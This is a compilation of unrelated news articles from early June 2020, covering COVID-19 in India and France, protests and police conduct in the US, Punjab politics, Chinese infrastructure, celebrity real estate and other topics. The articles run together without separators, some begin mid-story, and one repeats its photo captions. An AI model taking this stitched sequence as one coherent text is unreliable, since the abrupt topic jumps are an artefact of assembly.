However, the celebration was short-lived as 13 new cases were reported from Bhubaneswar after a long time. Of these, seven were in home quarantine with travel history to Delhi, Maharashtra, Jharkhand and West Bengal while others were local contacts. One of the cases was reported from Salia Sahia, the biggest slum in Bhubaneswar with a population of over one lakh.

Known as Mini Odisha in Bhubaneswar for having people from all the districts of the state, Salia Sahi is a huge unauthorised slum that supplies most of the menial workers to apartments and commercial establishments such as hotel, restaurants and educational institutions. It has about 9,000 households staying in shanties spread over 250 acres of land.

Officials said like Dharavi slum of Mumbai where cases spread like wildfire, the detection of the first case in Salia Sahi was an ominous sign. Bhubaneswar has over 450 slums of which more than 300 are unauthorised.

In March and April, Bhubaneswar reported a high number of cases, however, the numbers went down following identification of containment zones and strict lockdown measures. The city has so far reported 81 cases and four deaths due to the Covid-19 infection.

Since people began flouting social distancing norms after the lockdown restrictions were eased, the state government announced weekend shutdowns in Bhubaneswar and 11 other districts from June 6 onwards to contain the spread of the disease.
French lockdown succeeded in reducing COVID transmission, but many existing infectious cases and lack of herd immunity means the risk of a second wave is high

COVID-19 restrictions in France should be lifted with caution because of the high risk of a second wave of infection, reports a new study, published in Frontiers in Medicine, which confirms the lockdown restrictions were successful in reducing the spread of this virus.

"The lockdown was effective at reducing the transmission rate of COVID-19 but the potential for a second wave of infections is extremely high," reports Dr Lionel Roques, first author of this research, based at the National Research Institute for Agriculture, Food and Environment (INRAE) in France.

He cautions, "Herd immunity is far from reached and many infectious cases still exist. It is therefore essential to follow restrictions to maintain an effective transmission rate value, or R-number, that remains below 1."

The R-value is an important way of measuring the transmission of diseases. When it falls below 1, each infected person will infect less than one other person, meaning the number of new infections will fall over time.

"COVID-19 was spreading rapidly in France when the World Health Organization assigned the virus pandemic status in early March 2020," explains Roques. "It arrived in small numbers in December 2019 and remained largely undetected, so the first battle, that of any early intervention to stop the spread of the disease, was already lost as the R value exceeded 1."

The actual number of infected cases was difficult to calculate. There were too many unreported cases and variations in testing strategies meant that scientists did not know who and how many had been infected.

"We thought that methods developed for our previous work may be able to help. By using mathematical equations that account for unreported cases and linking these to other equations that calculate the most probable number of infected cases, we could work out the R-number to understand the transmission rate of COVID-19," says Roques.

Widely used by ecologists, this mathematical approach has rarely been used to assess the spread of disease in humans. By using this method, Roques calculated an R-value of 3.2 at the start of the lockdown in France and an infection fatality rate of 0.8%.

"The virus was spreading so fast that the second battle, that of the containment of the epidemic, was lost and so lockdown was initiated. Our calculations suggest the restrictions were very efficient at slowing the transmission of COVID-19, with a 7-fold reduction in the R-number to 0.47," he explains.

Roques continues, "Though this third battle was won, our study suggests the potential for a second wave is extremely high. At the end of the restrictions in May, we calculate that 4% of the French population will have been infected by COVID-19 and this is far too low to reach herd immunity. The threshold for this is 69%."

The researchers also estimate that many infectious cases remain, so a second wave could be initiated with more infected cases than the first wave.

Roques highlights that further research is needed, "Crucially, we need to look at how the R-number and number of infected cases differ across the country. For example, in urban vs. rural communities. Having this information will help us to understand how other factors, which can vary within a country, such as the climate, population density and age of patient will affect the spread of this disease."

###

Notes to Editors

Please link to the original research article in your reporting:

https://www.frontiersin.org/articles/10.3389/fmed.2020.00274/full

Corresponding author: Dr. Lionel Roques

Email: lionel.roques@inrae.fr

Corresponding Author's Institution: Institut National de la Recherche Agronomique (INRA), Paris, France

Frontiers is an award-winning Open Science platform and leading Open Access scholarly publisher. Our mission is to make research results openly available to the world, thereby accelerating scientific and technological innovation, societal progress and economic growth. We empower scientists with innovative Open Science solutions that radically improve how science is published, evaluated and disseminated to researchers, innovators and the public. Access to research results and data is open, free and customized through Internet Technology, thereby enabling rapid solutions to the critical challenges we face as humanity. For more information, visit http://www.frontiersin.org and follow @Frontiersin on Twitter.
At some point, history may show us that after years of aggression, after so much brutality that suggested so little fear of consequence, it took the looting of Chanel and the reversion of SoHo to a wasteland to disable a law that has made real police accountability so difficult in New York City. It required a political class moved by fear  of disorder and desecration  rather than compelled by the logic of justice, which had been obvious for so long.

The law, known by its identification in the states civil code  50-a  was originally intended to shield good cops from vigilantes. But in practice it has protected habitually delinquent police officers for decades. However unlikely it would have been just a month ago, 50-a now faces the overdue prospect of erasure. On Monday, high-ranking members of New Yorks state legislature committed to overturning it along with a spate of other bills that would signify a similarly radical change to what the law has tolerated from the police.

For several years, there has been no work more vital to ending police brutality than abolishing laws and policies that weaken transparency and soften repercussion. Chief among them are the statutes, like 50-a, that enshrine police misconduct in secrecy, shielding the personnel and disciplinary records of police officers from public view so that there is often no way for a victim to know if an abusive officer has a history of dubious behavior unless someone has happened to sue him.

Many officers dispatched to the recent protests have concealed their badge numbers with strips of elastic or electrical tape. The department said that these were mourning bands, worn to honor colleagues who have died from Covid-19, but a civil liberties group demanded they be removed so that bad actors could be easily identified.
Capt Amarinder Singh

Chandigarh: Punjab Chief Minister Captain Amarinder Singh on Friday reiterated his intention to contest the next Assembly elections in the state, but said the decision on leading the party rested with the Congress President.

At a video press conference, the Chief Minister said though he had initially termed the 2017 polls as his last election, he had subsequently, on the persuasion of his party colleagues, announced his decision to contest the 2022 elections, and there was no change in that stance.

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Capt Amarinder SinghIn response to a question on roping in Prashant Kishor for shaping the Congress poll campaign in 2022, the Chief Minister said the former had responded positively to his request.

Kishor has said he would be quite happy to come and help, said Captain Amarinder, clearing the air on this count, amid media reports that Kishor had said no to handling the Congress campaign in the state.

Quipping that he is often surprised by what he reads in the newspapers, the Chief Minister said he had discussed the matter with AICC President Sonia Gandhi, who had left the decision (of hiring Kishor) on him.

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Punjab GovernmentHe had also taken his party MLAs into confidence, and 55 of the 80 members of the legislative assembly were in favour of bringing in Kishor to handle the campaign, said Captain Amarinder.

While showing his willingness to support the Punjab Congress, Kishor had denied that he was in any talks with Navjot Sidhu or the Aam Aadmi Party (AAP) with regard to the 2022 Assembly elections, Captain Amarinder further said, in reply to a query.

Describing Kishor as a family member, the Chief Minister said he had ruled out any association with either Sidhu or AAP, contrary to speculation in the media, and contrary to any claims on this count by Arvind Kejriwal.

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On Sidhus interactions with the Congress leadership, Captain Amarinder said Navjot was very much a part of the Congress and had been in touch with the party high command in that capacity.

Capt Amarinder and Navjot Singh SidhuIn response to another question, Captain Amarinder said Sidhu or any other Congress member who had any concerns on any issue could come and talk to him.

Investigations in the Bargari and other sacrilege cases were in progress but we cannot just put people behind bars without following the due process of law, he said, referring to Sidhus purported critical remarks on the issue.

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Many challans have been presented in the Bargari case, but the state government cannot interfere in the work of the courts, he added.
SHANGHAI, June 5 (Xinhua) -- Jiang Wei, a business owner in Shanghai, will soon be able to travel to his plant 150 km away in Huzhou in less than half an hour thanks to the building of a new high-speed railway.

Jiang said at present, the journey from Shanghai to Huzhou of the neighboring Zhejiang Province takes him about two hours as the railway first heads south before heading north to Huzhou.

Construction on a new high-speed railway linking Shanghai and the neighboring cities of Suzhou and Huzhou was launched on Friday. The 164-km railway, with a designed top speed of 350 km per hour, is a key project for the Yangtze River Delta to further boost regional integration.

Transportation interconnection is just one example of the coordinated development of the region, which consists of Shanghai Municipality and the provinces of Jiangsu, Zhejiang and Anhui. As one of China's most economically active, open and innovative regions, the Yangtze River delta region produces about one-fourth of the national GDP.

China unveiled an outline for the regional integrated development of the Yangtze River Delta last year. Local governments have rolled out a raft of measures to enhance cooperation and communication in the region.

Thanks to increasingly efficient resource allocation and collaboration, the Yangtze River Delta shows robust market vitality, offering the world a glimpse of the resilience and potential of the Chinese economy.

FORGING AHEAD WITH CONSTRUCTION

Huzhou Mingshuo Optoelectronic Technology Co., Ltd, founded by Jiang, is a participant and beneficiary of the Yangtze River delta regional integration.

The company has established a research and development (R&D) center in Shanghai, and also cooperated with firms in Anhui to carry out R&D on lithium battery energy storage.

"After the Shanghai-Suzhou-Huzhou high-speed railway breaks ground, the physical and psychological distance between Huzhou, Shanghai and Suzhou will be further reduced," said Jiang.

In 2020, more than 10 railway projects in the Yangtze River Delta have been planned to be open or start construction. The entire region's annual railway investment is planned to exceed 80 billion yuan (about 11 billion U.S. dollars), accounting for nearly one-sixth of the national total.

As China highlighted the importance of new infrastructure, local governments in the delta region have successively released new infrastructure plans to boost the construction of 5G networks, cloud computing and data centers.

Shanghai published a three-year action plan from 2020 to 2022, aiming to invest a total of around 270 billion yuan in its first batch of 48 major new infrastructure projects in the next three years. Jiangsu also introduced relevant measures to invest 12 billion yuan in 2020 to build 52,000 new 5G base stations. Zhejiang will begin construction on 20 large data centers this year.

The region also emphasizes the importance of green and sustainable development. In 2019, a demonstration area in the Yangtze River Delta on ecologically friendly development was launched, spanning across Shanghai, Jiangsu and Zhejiang.

CUTTING-EDGE TECHNOLOGIES

The Yangtze River Delta is a booming land of scientific and technological innovation, thanks to the establishment of research institutes and the industrialization of technological achievements.

In the western suburb of Hefei, capital of Anhui Province, the Chinese Academy of Sciences Center for Excellence in Quantum Information and Quantum Physics is under construction. The project is expected to be delivered by the end of 2020.

Shanghai's Zhangjiang has had 14 projects of national key science and technology infrastructure completed or under construction, said Peng Song, an official with the office for promoting the construction of science and technology innovation center in Shanghai.

These facilities will open to researchers at home and abroad, said Peng.

"Over the past year, it is easy to observe the integrated development of the Yangtze River Delta with faster and more efficient movement of regional factors and more scientific allocation of resources," said Pan Zhaohui, Party chief of Wuhu City, Anhui.

OPENNESS

As the COVID-19 pandemic posts an unprecedented challenge to the global economy, the recession-defying growth of the delta region has been a highlight.

The balance of local and foreign currency loans in the Yangtze River Delta region was 40.7 trillion yuan at the end of April, up 14.3 percent year on year, higher than the national average, according to the latest figures released by the People's Bank of China's Shanghai Head Office.

Statistics show that foreign capital in the delta region has achieved steady growth since the beginning of this year. In the first quarter, the actual use of foreign capital in Shanghai was 4.67 billion U.S. dollars, up 4.5 percent year on year. From January to April, Zhejiang's actual use of foreign capital was 4.96 billion dollars, up 8.9 percent year on year.

"The integration of the Yangtze River Delta is not only a matter of regional development, but also a strategic choice that is related to the overall situation of the Chinese economy," said Liu Zhibiao, director of the Yangtze Industrial Economic Institute of Nanjing University.

The integration of the Yangtze River Delta will help form a new globalization model based on the big domestic market, and promote China's economic transformation and high-quality development, he added.
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Reese Witherspoon has quietly scooped up a $11.9 million Tudor-style home in Los Angeles, less than two months after unloading her nearby $17 million mansion, DailyMail.com can exclusively reveal.

Located in the affluent suburb of Brentwood, the 8,652 square foot home is nestled inside a wooded enclave that features a pool, spa and top of the line kitchen.

With six bedrooms and eight bathrooms, it offers plenty of space for her family of five - her husband Jim Toth and her three children Ava Elizabeth Philippe, Deacon Reese Philippe and Tennessee James Toth.

Witherspoon, 44, wasted no time in snapping up the property after she sold off her $17 million Pacific Palisades mansion to an all cash buyer in April.

News of the actress' pricey digs comes after she was scrutinized this week for reportedly pocketing $6 million from Quibi while the new streaming service was facing laying off some staff.

Reese Witherspoon has quietly scooped up this $11.9 million Tudor-style home in Los Angeles, less than two months after unloading her nearby $17 million mansion, DailyMail.com can exclusively reveal

Located in the affluent suburb of Brentwood, the 8,652 square foot home is nestled inside a wooded enclave that features a pool, spa and top of the line kitchen

With six bedrooms and eight bathrooms, it offers plenty of space for her three children Ava Elizabeth Philippe, Deacon Reese Philippe and Tennessee James Toth, as well as her husband Jim Toth

Witherspoon, 44, wasted no time snapping up the property after she sold off her $17 million Pacific Palisades mansion in April

The master bathroom features an impressive claw foot tub, a floor to ceiling mirror and chandelier hanging above the tub

Witherspoon's new home boasts a string of luxury amenities including a kitchen suitable for a gourmet chef, a breakfast nook, a large pool and hot tub

News of the actress' pricey new digs comes after she was scrutinized for reportedly pocketing $6 million from Quibi while the new streaming service was facing laying off some staff

Witherspoon's new home boasts a string of luxury amenities including a kitchen suitable for a gourmet chef and a breakfast nook.

The stately two-story foyer opens up to a great room filled with natural light from the wide windows with dark wooden beams lining the ceiling.

The master bedroom is outfitted with a fireplace, 'rotunda lounge, lavish spa-like bath, ample closet space and an exclusive balcony,' according to real estate company Smith & Berg Partners.

The master bathroom features an impressive claw foot tub, a chandelier above it and a floor to ceiling mirror behind the tub.

In April, the Little Fires Everywhere star sold her 10,000 square-foot Pacific Palisades mansion for $17 million, having bought it unfinished in 2014 for $12.7 million.

The home had long been the main residence of Witherspoon and her second husband Toth, who she married in 2011 and shares seven-year-old son Tennessee with.

Witherspoon also has a 20-year-old daughter Ava and 16-year-old son Deacon from her marriage to actor Ryan Philippe. The couple divorced in 2008.

In April, the Freeway star sold her 10,000 square-foot Pacific Palisades mansion for $17 million, having bought it unfinished in 2014 for $12.7 million

The master bedroom is outfitted with a fireplace, 'rotunda lounge, lavish spa-like bath, ample closet space and an exclusive balcony,' according to real estate company Smith & Berg Partners

The stately two-story foyer opens up to a great room filled with natural light from the wide windows with dark wooden beams decorating the ceiling

Witherspoon's new home boasts a string of luxury amenities including a kitchen suitable for a gourmet chef and a breakfast nook

All in the family: Reese's husband Jim Toth, a former big time talent agent at CAA, is currently the head of content acquisitions and talent at Quibi. Pictured: Reese with her husband Jim and children Ava, Deacon and Tennessee

The Legally Blonde star's husband Toth, a former big time talent agent at CAA, is currently the head of content acquisitions and talent at Quibi.

The network was designed specifically with commuters in mind. The videos are formatted to be viewed on mobile devices and the shows are 10 minutes or less.

It invested $2.75 billion for programming to attract top talent, but has struggled to attract viewers.

This week Quibi employees complained that Witherspoon was paid $6 million for narrating a show about animals, while the struggling video platform faces possible layoffs after its ill-timed launch during the coronavirus pandemic.

The star's voice is featured on Fierce Animals, a wildlife program produced by the BBC's natural history unit that highlights female animals.

It has reportedly not done well for Quibi and left staffers upset by the amount of money invested in stars such as Witherspoon to launch the service on April 6.

'Quibi may have to implement cutbacks, and people are fuming that stars like Reese got paid millions,' a source told the New York Post's Page Six.

But Quibi executives denied Witherspoon's $6 million payday. They also said they've taken a 10 percent pay cut amid rumors of layoffs.

Sources with knowledge of the situation revealed to DailyMail.com that Reese's take home was actually 'less than 1/6th' of the multi-million dollar sum that was reported by Page Six.

'Reese was paid absolutely nowhere near this amount of money,' a source with knowledge of the matter told DailyMail.com

This week Quibi employees complained that Witherspoon was paid $6 million for narrating a show about animals as the struggling video platform faces possible layoffs after its ill-timed launch during the coronavirus pandemic

The star's voice is featured on Fierce Animals, a wildlife program produced by the BBC's natural history unit that highlights female animals

The home also features a breakfast nook that overlooks the sprawling grounds

While Witherspoon's Quibi endeavour might not have brought home the big bucks, she's sure to make heaps of cash on Legally Blonde 3

Witherspoon has been staying busy with lining up projects as the COVID-19 pandemic continues to hold Hollywood productions at a standstill while regions of the nations remain in varying degrees of lockdown

In the film's third installment, Witherspoon will produce while reprising her famed portrayal of Elle Woods

'In fact, it is less than 1/6th of what was reported. The show didn't even cost half of the incorrectly reported and highly exaggerated 6 million dollar figure.'

Additionally, in a company memo obtained by DailyMail.com, executives said they'd 'volunteered to take a 10 percent pay cut because it's the right thing to do' amid the economic collapse spurred by the coronavirus and the subsequent lockdown to quell the spread of the pandemic.

In the memo, the company said that 'the talent compensation' in regards to Reese 'was utterly inaccurate.'

While Witherspoon's Quibi endeavour might not have raked in the big bucks, she's sure to make heaps of cash on Legally Blonde 3.

She has announced her pal Mindy Kaling will be a writer on the upcoming movie.

In the film's third installment, Witherspoon will produce while also reprising her famed portrayal of Elle Woods.

Witherspoon has been staying busy with lining up projects as the COVID-19 pandemic continues to hold Hollywood productions at a standstill while regions of the nations remain in varying degrees of lockdown.

She also reached a deal in May to star in and produce two romantic comedies for Netflix: Your Place Or Mine and The Cactus.
An association of school teachers of Tripura, who recently lost their jobs, on Friday appealed to the state government to provide them relief for sustenance during the lockdown.

They were granted a one-time ex-gratia of Rs 35,000 by the government in April.

Pradip Banik, the president of the All Tripura 10,323 Victimised Teachers Association told reporters that despite the humanitarian aid, they were facing acute financial crisis and needed fresh help.

As many as 10,323 undergraduate, graduate and postgraduate candidates were appointed teachers in government schools in phases since 2010, when the CPI(M)-led Left Front was in power.

The recruitment was challenged and the Tripura High Court in 2014 terminated their services, holding the process faulty.

The then Left Front government moved the Supreme Court against the order but the apex court upheld the High Court verdict in March 2017.

Of the 10,323 teachers, many got other jobs, and at present there are 8,882 teachers whose term of employment expired on March 31.

These teachers will get one time allowance of Rs 35,000, Chief Minister Biplab Kumar Deb had said on April 1.

The chief minister mentioned that state government had filed a special petition before the Supreme Court, seeking permission to recruit the ad-hoc teachers on permanent non- teaching posts.

The teachers were declared retired after December 31, 2017, in accordance with the apex court verdict. They were, however, appointed again on an ad-hoc basis.

After the BJP-IPFT government came to power in March 2018, it again appealed to the Supreme Court, which granted them one-time final extension till March 31, 2020.

Deb had said the state government will try to resolve the problem of these teachers.

State Education Minister Ratan Lal Nath said the apex court had made it clear that they cannot be recruited in posts of teachers, so the state government made a plea to recruit them on non-teaching and non-technical posts.

As the lockdown is on, we do not know when the apex court will open only after which the hearing on the state governments appeal can start. So, we demand some interim relief for subsistence of the families.

We would soon give a memorandum to the government, Banik said.
Well-known cleric Ahmed Omar Hashem delivered on Friday the first Friday sermon at Cairo's historic Al-Azhar mosque in over two months, saying that Islam was the first to call for quarantine during outbreaks and citing Prophet Muhammad's teachings in which he called people not to "enter or leave an infected land."

The member of Al-Azhar's senior scholars underscored the importance of sticking to the Islamic rule of "doing whatever possible" in the face of the coronavirus crisis, referring to the need to abide by all preventive measures against the virus.

Hashem delivered the sermon from Al-Azhar mosque in the old Islamic area of Cairo for the first time in about 70 days.

All Islamic and Christian houses of worship have been closed since March in a bid to curb the spread of the novel coronavirus.

Last week, the country's endowments ministry, which is responsible for administering mosques and Islamic centers nationwide, decided to resume holding Friday prayers every week at one mosque in the presence of only 20 worshippers. The sermon and prayers are livestreamed on television and social media platforms.

Hashem said the fact that health experts are struggling to deal with the coronavirus is a proof that "this universe has a God."

The preacher urged all Muslims around the world to repent to Allah so that the infliction is lifted. He appealed to affluent countries and people to give a hand to poor and displaced individuals.

Hashem also heaped praise on health workers, saying their job in treating coronavirus patients represents the "greatest worship."





The weekly prayer was performed at Cairo's Al-Sayyida Nafisa Mosque last Friday. Next week's prayer will be held at Al-Hussain Mosque under the same restrictions, according to the endowments ministry.

The move comes as a preliminary step before a final say on the gradual reopening of houses of worship is made.

Prime Minister Mostafa Madbouly said recently that the reopening of mosques and churches will be considered after mid-June.

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Bubbles and bespoke lists

While Italy, Germany and France are planning to open up widely, other European nations are proceeding more cautiously, drawing up selective lists of countries from which travel will be allowed, or establishing travel bubbles along the lines of the one being considered by Australia and New Zealand.

Spain, one of the hardest-hit countries in Europe, is waiting until July to lift most of its travel restrictions. At that point, the country plans to open up to visitors arriving from a list of nations where the epidemic is under control, according to Manuel Muniz, the Spanish governments State Secretary for Global Spain. That list hasnt been finalized, Mr. Muniz said in an interview, but it will probably include most European nations, and could be expanded to a select group of countries from outside the region. (The countrys land borders with neighboring France and Portugal are due to reopen on June 22.) He added that Spain has asked the European Centre for Disease Prevention and Control for specific guidance on how the country should draw up its list.

When you talk to epidemiologists, what they tell you is that if you have these two containers with equivalent amount of Covid risk, its almost irrelevant if there are transfers of movement of people from one place to the other, said Mr. Muniz. He added that tourist destinations need to be able to do four things in order to welcome visitors safely: Track the viruss spread; test anyone with symptoms; trace the contacts of those who test positive; and treat those who fall ill.

When countries open needs to be fundamentally linked to how the disease is performing there, and whether those capabilities are in place, Mr. Muniz said.
AFP via Getty Images

Police in Indianapolis are investigating a video that shows several officers severely beating a woman to the ground during protests over the killing of George Floyd.

The video, taken on Sunday evening, shows police using batons and shooting a pepper gun at the black woman from point-blank range until she falls to the floor. One officer then pushes her face into the pavement.

Police chief Randal Taylor said the four officers involved in the incident have been reassigned to support duties and will have no contact with the public while the investigation takes place.

I can promise that regardless of the outcome of that investigation we will be looking at a retrain for that kind of scenario. I dont like what I saw, but I dont have all the details yet either, he said at a news conference on Friday.

Mayor Joe Hogsett said he found the video troubling, adding: I dont think theres anyone that should be able to watch that video and not be moved to emotion.

The identity of the woman in the video has not yet been revealed and the video does not show what happened prior to the incident, but one witness to the attack told The Independent that it was entirely unprovoked. It took place shortly after curfew was called, at around 8.15pm.

We were out as medics trying to walk black people back to their cars and get them rides home, because the police chased everyone away from our cars with tear gas right at curfew, said the witness, who wished to remain anonymous.

[The victim] came around the corner and was talking about going to her friends car and the police pulled up in a car. She immediately put her hands out to be cuffed.

She was quickly surrounded by police officers who began to violently subdue her, before she was arrested and taken away.

She was covered in welts and lines from the clubs. They must have pepper-sprayed her too because she could barely see in the wagon, the witness said.

They added that the victim had an open wound on her hand from trying to protect her face and they slammed her so hard she bit her own hand.

Story continues

The woman in the video has not yet come forward and local press or police have not identified her. The witness said the woman was detained and charged, but later released on bail.

Protests over the police killing of George Floyd have swept across the country in the past week, with large-scale unrest in all 50 states.

During last weekends unrest in Indianapolis, crowds smashed windows in dozens of downtown office buildings, restaurants and storefronts and set a fire that damaged a pharmacy. Local authorities have implemented curfews in recent days. Similar scenes have played out across the country, but the vast majority of the protests calling for racial justice have been peaceful.

Police forces across the country have come under fire for their handling of the protests. Countless videos of police using violence against protesters prompted Amnesty International to issue a statement.

US police across the country are failing their obligations under international law to respect and facilitate the right to peaceful protest, exacerbating a tense situation and endangering the lives of protesters, said Rachel Ward, national director of research at Amnesty International USA.

In city after city, we are witnessing actions that could be considered unnecessary or excessive force. We call for an immediate end to any such use of force and for law enforcement to ensure and protect the legal right to protest, she added.

Additional reporting by Associated Press
(CNN)  The death of a pregnant wild elephant, suspected to have been fatally injured after eating fruit stuffed with firecrackers that exploded in her mouth, has stirred public outrage in India as authorities investigate the incident.

The elephant died on May 27 while standing in the middle of a river in the southern state of Kerala, four days after she was found injured, according to Ashique Ali, a local forest officer.

"The postmortem report says that there was an explosion in the mouth. We have not caught any of the culprits. We don't know yet what caused the explosion," Ali said, adding that the animal was found to be one-month pregnant.

Kerala's chief wildlife warden, Surendra Kumar, said the case is being investigated.

He said local villagers sometimes leave pineapples and other sweet fruits filled with firecrackers around their fields to ward off wild boars, which might have caused the explosion in the elephant's mouth.

"(The explosion) fractured the bones and caused a lot of damage to the mouth. The animal could not eat and became weak. And then died," he said.

The elephant was found injured on May 23, but she moved away when forest officers and a veterinarian tried to immobilize her for treatment, according to Ali.

She was found again two days later, standing in the river. "In order to give treatment, it has to be immobilized but we could not use a tranquilizer while it is in the water because then the animal can drown," Ali said.

Two other elephants were brought to lead the injured animal out of the water, but she refused to move and remained there until she died, Ali added.

The elephant's death triggered outrage nationwide. India's environment minister Prakash Javadekar said Thursday that the central government had taken a "very serious note" of the incident.

"We will not leave any stone unturned to investigate properly and nab the culprit(s). This is not an Indian culture to feed fire crackers and kill," he said on Twitter.

Conservationists estimate that India has some 27,000 wild elephants, but their habitat is increasingly under pressure as human settlements encroach on nature reserves.
Police officers with mourning bands over their badge insignia stand in front of NYPD Deputy Chief McCarthy as he takes a knee near protesters.

AP Photo/Eduardo Munoz Alvarez

Police officers in Seattle and New York City have been seen with their badge numbers covered as they respond to protests over the police killing of George Floyd.

The National Lawyers Guild New York City chapter sent a letter to the New York Police Department saying that the nonprofit would sue to make officers uncover their badges. They allege that this is a way for officers to "violate demonstators' rights without consequence."

An NYPD spokesperson said that officers are wearing mourning bands to honor the officers who have died from COVID-19, and that they may have fallen from the top of the badge to cover their badge numbers. She said it is a violation to intentionally cover the number.

In Seattle, officers have covered their badges with electrical tape, which is allowed. One Councilmember wants to make it a violation.

Visit Insider's homepage for more stories.

Some police officers in New York City and Seattle have been seen with their badge numbers covered at protests over George Floyd's death.

An NYPD police spokesperson said that they are wearing them as a mourning bands for officers who have died as a result of the coronavirus pandemic, continuing a pre-protest tradition honoring officers that have died while on duty.

Advocates in the two cities believe that police are covering up their bands in order to escape culpability for misconduct.

The National Lawyers Guild, a legal nonprofit that works with activists and sends legal observers to protests, sent a letter to the New York Police Department on Tuesday demanding that police working at George Floyd protests uncover their badges immediately, and provide information of that to the Guild by end of day Wednesday. If the demands aren't met, the Guild's New York City president said that the group would sue the department.

The letter stated that covering badges is in violation of the NYPD's Patrol Guide and that the continued, widespread pattern of officers in violation of the guide could subject New York City itself to legal liability as well.

Story continues

"This action  in addition to being violative of Patrol Guide  204-17 - serves to prevent aggrieved individuals from being able to identify the perpetrators of police misconduct," wrote Andy Izenson, president of the New York City chapter of the National Lawyers Guild.

NYPD officers in protests across the city have been seen with their badge numbers obscured, like these officers in Flatbush, Brooklyn and these officers at the Barclays Center.

One officer told The Intercept on Saturday in Brooklyn that the bands were mourning bands to honor dead officers, but when asked why his band covered his badge number, he replied that "It's old. It fell down."

NYPD spokesperson Sergeant Mary O'Donnell told Business Insider on Wednesday night that it is a "conspiracy theory" that officers are covering up their badges intentionally. Instead, she said, the mourning bands are elastic and can fall down from the insignia, their intended location, to the badge numbers while officers are in the field. O'Donnell stated that all officers are required to tell their badge number when asked.

The patrol guide allows officers to wear a mourning band for a short period of time following an officer's death, but it is not supposed to cover up badge numbers. On April 16, New York City police commissioner Dermot Shea posted a photo of a mourning band, stating that officers were wearing them to commemorate the NYPD officers who have died from COVID-19. O'Donnell said that is still the case.

"This is not a new phenomenon," Chris Dunn, legal director for the New York Civil Liberties Union, told the Intercept. "There have been numerous prior instances of mourning bands concealing badge numbers."

A similar argument has played out in Seattle, where officers have been seen covering their badge numbers with black electrical tape to act as makeshift mourning bands.

At a meeting with protestors on Tuesday, Seattle Mayor Jenny Durkan said that the city was looking into other ways for officers to mourn. Seattle councilmember and chair of the public safety committee Lisa Herbold told The Stranger that it is not a violation for Seattle police officers to cover their badge numbers.

"The fact that the mourning bans are placed right over the badge numbers is simply not acceptable," she told The Stranger.

After police, with their names on their badges obscured, contained and then pepper-sprayed a crowd of protestors at the 1999 World Trade Organization meeting in Seattle, an ordinance was passed to require police officers to have their first initial and last name visible on their badge at all times. It says nothing about the badge number.

Read the original article on Insider
Source: Xinhua| 2020-06-05 20:01:01|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- The number of China-Europe freight trains hit a new high of 1,033 in May, up 43 percent year on year, the China State Railway Group said Friday.

A record 93,000 twenty-foot equivalent units (TEUs) of cargo were transported by the trains, up 48 percent from a year earlier.

The number of departing trains rose 47 percent year on year to 556 last month, while the number of returning trains climbed 39 percent to 477.

China-Europe cargo train services have become an important logistics channel to ensure smooth trade flows as air, sea and road transportation have been severely affected by the novel coronavirus epidemic.

The freight trains have also been playing a crucial role in helping with the fight against the pandemic in Europe, sending massive quantities of medical supplies such as face masks and goggles.

In May, anti-epidemic supplies totaling 1.2 million items and weighing 9,381 tonnes were sent by the freight trains to European countries such as Poland, Italy, Spain and France. Enditem
As Congress prepares to wade into a contentious debate over legislation to address police brutality and systemic racial bias, a long-simmering dispute in the Senate over a far less controversial bill that would for the first time explicitly make lynching a federal crime has burst into public view.

The bill, called the Emmett Till Antilynching Act after the 14-year-old black boy who was tortured and killed in 1955 in Mississippi, predates the recent high-profile deaths of three black men and women at the hands of white police and civilians that have inspired protests across the country. It passed the House this year by a vote of 410 to 4, and has the backing of 99 senators, who have urged support for belated federal recognition of a crime that once terrorized black Americans.

But the private objections of one Republican, Senator Rand Paul of Kentucky, have succeeded for months in preventing it from becoming law. At a time when lawmakers are looking at an array of other, potentially more divisive proposals to respond to a spate of recent killings of black Americans, the impasse illustrates the volatile mix of raw emotion and political division that has often frustrated attempts by Congress to enact meaningful changes in the law when it comes to matters of racial violence.

The issue erupted on the Senate floor on Thursday afternoon, when Mr. Paul sought to narrow the bills definition of lynching and push the revised measure through without a formal vote, drawing angry rebukes from two of the bills authors, Senators Cory Booker of New Jersey and Kamala Harris of California, both African-American Democrats.
An American president, Bill Clinton, first broached the need for broadening the Group of Seven nations, called the G-7, in the wake of the Asian economic crisis of 1997. And that led to the launch of the G-20 in 1999, a group of 19 countries and the European Union. Twenty-four years later, another American President, Donald Trump, has called for expanding the same body, G-7, on the basis that it is very outdated.

The endgame is unclear, as it was then. Trump is looking at G-10 or G-11 with India, South Korea, Australia and Russia as additional members. The math is clear; it should become the G-11. Why G-10? Russia. It was kicked out of the group in 2014 (when G-8 became G-7) for annexing Crimea and it remains in the doghouse for most G-7 heads, who dont share Trumps enthusiasm for Russia.

But this uncertainty alone should not cast doubts on Trumps plans for G-7 overhaul. Negotiators had looked at competing numbers for the 1997-99 expansion as well, but had settled on the smaller number to keep it manageable. India made it to that group.

There was a clear need for a broader platform in 1997 to address challenges to global financial stability due to the widening economic crisis in Asian countries. And the G-20 provided an answer. The forum played an effective role after the 2008 crisis.

Trumps expansion plan, on the other hand, is not well-thought-out. It does not appear to be about the coronavirus pandemic, the worst health crisis faced by the world in 100 years. If he believed in multilateralism to deal with it or prevent the next, he would have continued to fund the World Health Organization and forced to change it from within.

Its also not about the economic crisis that has accompanied the pandemic.

All Trump cares about, at this time, is his re-election prospects. Thats why German chancellor Angela Merkel, the sharpest of politicians in the western world, who has made it a practice to not visit the United States in election years, is skipping the summit, although, to be sure, she has other reasons.

Merkel is also not willing to join any effort to gang up against China. A Trump aide has indicated the president would like the next G-7 to discuss the future of China. This comes in the backdrop of a sharp dip in the US-China ties. But with Europe not on board for this, its hard to see them agreeing to making the G-7 expansion all about isolating China.

Prime Minister Narendra Modi has accepted Trumps invitation to attend the meet as a guest, as he did in 2019 when he attended the G-7 summit in Biarritz at the invitation of President Emmanuel Macron. He has also welcomed Trumps proposal to include India in an expanded G-7, the worlds most elitist club of developed economies. But India will do well to keep its hopes in check until it sees a real plan with real outcomes and a timeline.

yashwant.raj@hindustantimes.com

The views expressed are personal
British Airways planes parked at London's Heathrow Airport. (Frank Augstein/AP)

British Airways owner IAG (IAG.L) is considering taking a legal challenge against the planned blanket 14-day quarantine for travellers to the UK.

In an interview with Sky News, chief executive Willie Walsh said that the quarantine, which is set to come into force from next week, would torpedo its plans to resume flights in July.

We think it is irrational, we think it is disproportionate and we are giving consideration to a legal challenge to this legislation, Walsh said on Friday.

